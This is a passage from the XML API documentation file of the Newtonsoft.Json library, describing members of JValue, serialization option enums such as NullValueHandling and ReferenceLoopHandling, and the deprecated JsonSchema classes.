cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"T:System.Runtime.Serialization.DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.Runtime.Serialization.DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param 